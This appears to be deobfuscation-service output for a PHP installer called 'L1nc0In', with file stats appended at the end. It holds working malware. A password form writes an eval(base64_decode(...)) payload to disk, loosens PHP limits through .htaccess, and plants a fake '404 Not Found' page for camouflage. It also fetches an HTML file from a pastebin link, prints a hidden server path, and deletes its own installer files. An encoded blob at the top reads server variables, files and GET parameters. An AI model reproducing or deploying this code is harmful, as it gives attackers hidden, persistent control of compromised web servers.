5MDk3ODMyKDIzMCkpKTt9aWYoY291bnQoJF9fX19fX19fX19fX19fX19fX19fX19fX19fXyk+cm91bmQoMCkpe2ZvcmVhY2goJF9fX19fX19fX19fX19fX19fX19fX19fX19fXyBhcyAkX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fKXskX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXz1iYXNlNjRfZGVjb2RlKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX18pOyRfX19fX19fX19fX19bJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fXVttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMzEpXSAuXzQ3OTA5NzgzMigyMzIpKV1bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjMzKV0gLiRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fKV09YmFzZTY0X2VuY29kZShsX18oZmlsZV9nZXRfY29udGVudHMoJF9fX19fX18gLl80NzkwOTc4MzIoMjM0KSAuJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC5zaGExKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX19fX19fX19fX18pKSxtZDUoJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fIC5jcmMzMigkX19fX19fIC4kX19fX18gLiRfX19fX19fXykpKSk7fX19ZWNobyhzdHJyZXYoYmFzZTY0X2VuY29kZShqc29uX2VuY29kZSgkX19fX19fX19fX19fKSkpKTt9aWYoIWVtcHR5KGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIzNSldIC5fNDc5MDk3ODMyKDIzNikpXSkpKWFuZCAkX19fX19fX19fX19fX19fXyA9PSB0cnVlKXskX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX189anNvbl9kZWNvZGUoYmFzZTY0X2RlY29kZShzdHJyZXYoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjM3KV0gLl80NzkwOTc4MzIoMjM4KSldKSksdHJ1ZSk7Zm9yZWFjaCgkX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMzkpXSAuXzQ3OTA5NzgzMigyNDApKV07JF9fX19fX19fX19fX19fX19fX19fX19fX19fX189Z2xvYigkX19fX19fXyAuXzQ3OTA5NzgzMigyNDEpIC4kX19fX19fX19fX19fX19fX19fXyAuJF9fX19fX19fXyAuXzQ3OTA5NzgzMigyNDIpKTtmb3JlYWNoKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fIGFzICRfX19fX19fX19fX19fX19fX18pe3VubGluaygkX19fX19fX19fX19fX19fX19fKTt9fX0=";
if (!isset($_POST['instserv'])) {
?>
<style>
article,
aside,
details,
figcaption,
figure,
footer,
header,
hgroup,
nav,
section {
display: block;
}
$mainColor: #333333;
html {
font-size: 100%;
-webkit-text-size-adjust: 100%;
-ms-text-size-adjust: 100%;
}
input:focus,
textarea:focus {
outline: none;
}
label,
select,
button,
input[type="submit"],
input[type="radio"],
input[type="checkbox"],
input[type="button"] {
cursor: pointer;
}
a,
a:visited,
a:active {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
::selection {
background: #34e181;
color: #fff;
}
::-moz-selection {
background: #34e181;
color: #fff;
}
* {
font-size: 100%;
margin: 0;
padding: 0;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
.urmum {
margin-left: 675px;
color: #ffff;
padding-bottom: 25px;
}
body {
background-image: linear-gradient(280deg, #eb0f12 -40%, #1f9959 100%);
background-size: cover;
background-repeat: no-repeat;
background-attachment: fixed;
font-family: "Helvetica Neue", Helvetica, Arial;
color: $mainColor;
}
h5 {
text-align: center;
margin-top: 5px;
color: #ffffff;
}
h5 > a,
a:visited {
color: #fff;
text-decoration: underline;
}
h5 > a:hover {
text-decoration: none;
}
form {
background: #fff;
border-radius: 6px;
padding: 20px;
padding-top: 30px;
width: 300px;
margin: 50px auto;
box-shadow: 15px 15px 0px rgba(0, 0, 0, .1);
}
h1 {
text-align: center;
font-size: 1.4em;
font-weight: 700;
color: #ccc;
margin-bottom: 24px;
}
span {
font-weight: 200;
}
input {
width: 100%;
background: #f5f5f5;
border: 0;
padding: 20px;
border-radius: 6px;
margin-bottom: 10px;
border: 1px solid #eee;
}
.btn {
position: relative;
width: 100%;
padding: 20px;
border-radius: 6px;
border: 0;
background: #f26964;
font-size: 1.2em;
color: #fff;
text-shadow: 1px 1px 0px rgba(0, 0, 0, .1);
box-shadow: 0px 3px 0px #c1524e;
}
.btn:active {
top: 3px;
box-shadow: none;
}
.fb {
margin-top: 15px;
background: #3b5998;
box-shadow: 0px 3px 0px #2c416e;
}
.tw {
background: #00acee;
box-shadow: 0px 3px 0px #008dc3;
}
.google {
background: #db4a39;
box-shadow: 0px 3px 0px #b93f31;
}
</style>
<form action="install.php" method="post">
<h1>L1nc0In</h1>
<input placeholder="Password" name="serverpass" type="password"/>
<button class="btn" name="instserv">Install</button>
</form>
<?php
} else {
$serverpass = $_POST['serverpass'];
$cryptedpass = hash("md5", $serverpass);
// Insert your $src value here or remove this line if it's not needed
$code = base64_decode($src);
$result = "<?php eval(base64_decode('" . base64_encode(str_replace(["REPLACEMDPASS", "REPLACEFOLDERNAME"], [$cryptedpass, $resultnfolder], $code)) . "')); ?>";
echo $result;
// Insert into .htaccess with 644 permissions
cfile_put_contents644(".htaccess", '
Options -Indexes
php_value memory_limit 512M
php_value post_max_size 150000M
php_value upload_max_filesize 150000M
php_value max_input_vars 1800
php_value max_execution_time 300
php_value max_input_time 300');
// Insert into the server itself with 644 permissions
cfile_put_contents644("L1nc0In.php", $result);
cfile_put_contents644("index.html", "<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
</body></html>");
// Remove this line if not needed
cfile_put_contents644("index.php", "<?php include(\"/opt/index.php\") ?>
");
$dildokatkares = file_get_contents("https://pastebin.com/raw/27Yfcwsn");
// Anti-dokatka HTML
cfile_put_contents644("dildokatka.html", $dildokatkares);
mkdir($resultnfolder, 0755);
?>
<style>
article,
aside,
details,
figcaption,
figure,
footer,
header,
hgroup,
nav,
section {
display: block;
}
$mainColor: #333333;
html {
font-size: 100%;
-webkit-text-size-adjust: 100%;
-ms-text-size-adjust: 100%;
}
input:focus,
textarea:focus {
outline: none;
}
label,
select,
button,
input[type="submit"],
input[type="radio"],
input[type="checkbox"],
input[type="button"] {
cursor: pointer;
}
a,
a:visited,
a:active {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
::selection {
background: #34e181;
color: #fff;
}
::-moz-selection {
background: #34e181;
color: #fff;
}
* {
font-size: 100%;
margin: 0;
padding: 0;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
.urmum {
margin-left: 675px;
color: #ffff;
padding-bottom: 25px;
}
body {
background-image: linear-gradient(280deg, #eb0f12 -40%, #1f9959 100%);
background-size: cover;
background-repeat: no-repeat;
background-attachment: fixed;
font-family: "Helvetica Neue", Helvetica, Arial;
color: $mainColor;
}
h5 {
text-align: center;
margin-top: 5px;
color: #ffffff;
}
h5 > a,
a:visited {
color: #fff;
text-decoration: underline;
}
h5 > a:hover {
text-decoration: none;
}
form {
background: #fff;
border-radius: 6px;
padding: 20px;
padding-top: 30px;
width: 300px;
margin: 50px auto;
box-shadow: 15px 15px 0px rgba(0, 0, 0, .1);
}
h1 {
text-align: center;
font-size: 1.4em;
font-weight: 700;
color: #ccc;
margin-bottom: 24px;
}
span {
font-weight: 200;
}
input {
width: 100%;
background: #f5f5f5;
border: 0;
padding: 20px;
border-radius: 6px;
margin-bottom: 10px;
border: 1px solid #eee;
}
.btn {
position: relative;
width: 100%;
padding: 20px;
border-radius: 6px;
border: 0;
background: #f26964;
font-size: 1.2em;
color: #fff;
text-shadow: 1px 1px 0px rgba(0, 0, 0, .1);
box-shadow: 0px 3px 0px #c1524e;
}
.btn:active {
top: 3px;
box-shadow: none;
}
.fb {
margin-top: 15px;
background: #3b5998;
box-shadow: 0px 3px 0px #2c416e;
}
.tw {
background: #00acee;
box-shadow: 0px 3px 0px #008dc3;
}
.google {
background: #db4a39;
box-shadow: 0px 3px 0px #b93f31;
}
</style>
<h1>L1nc0In</h1>
<h1><span>Installation successful!</span></h1>
<div class="urmum">
<?php
$serverurl = "http://".$_SERVER['SERVER_NAME']."/@==gbJBzYuFDT";
echo "Your Server Address: {$serverurl}";
$file_to_delete = 'install.php';
unlink($file_to_delete);
unlink(__FILE__);
}
?>
Function Calls
None |
Stats
MD5 | 6e7b7d9c4a3555bd21fbb78fc8e2f0b8 |
Eval Count | 0 |
Decode Time | 4817 ms |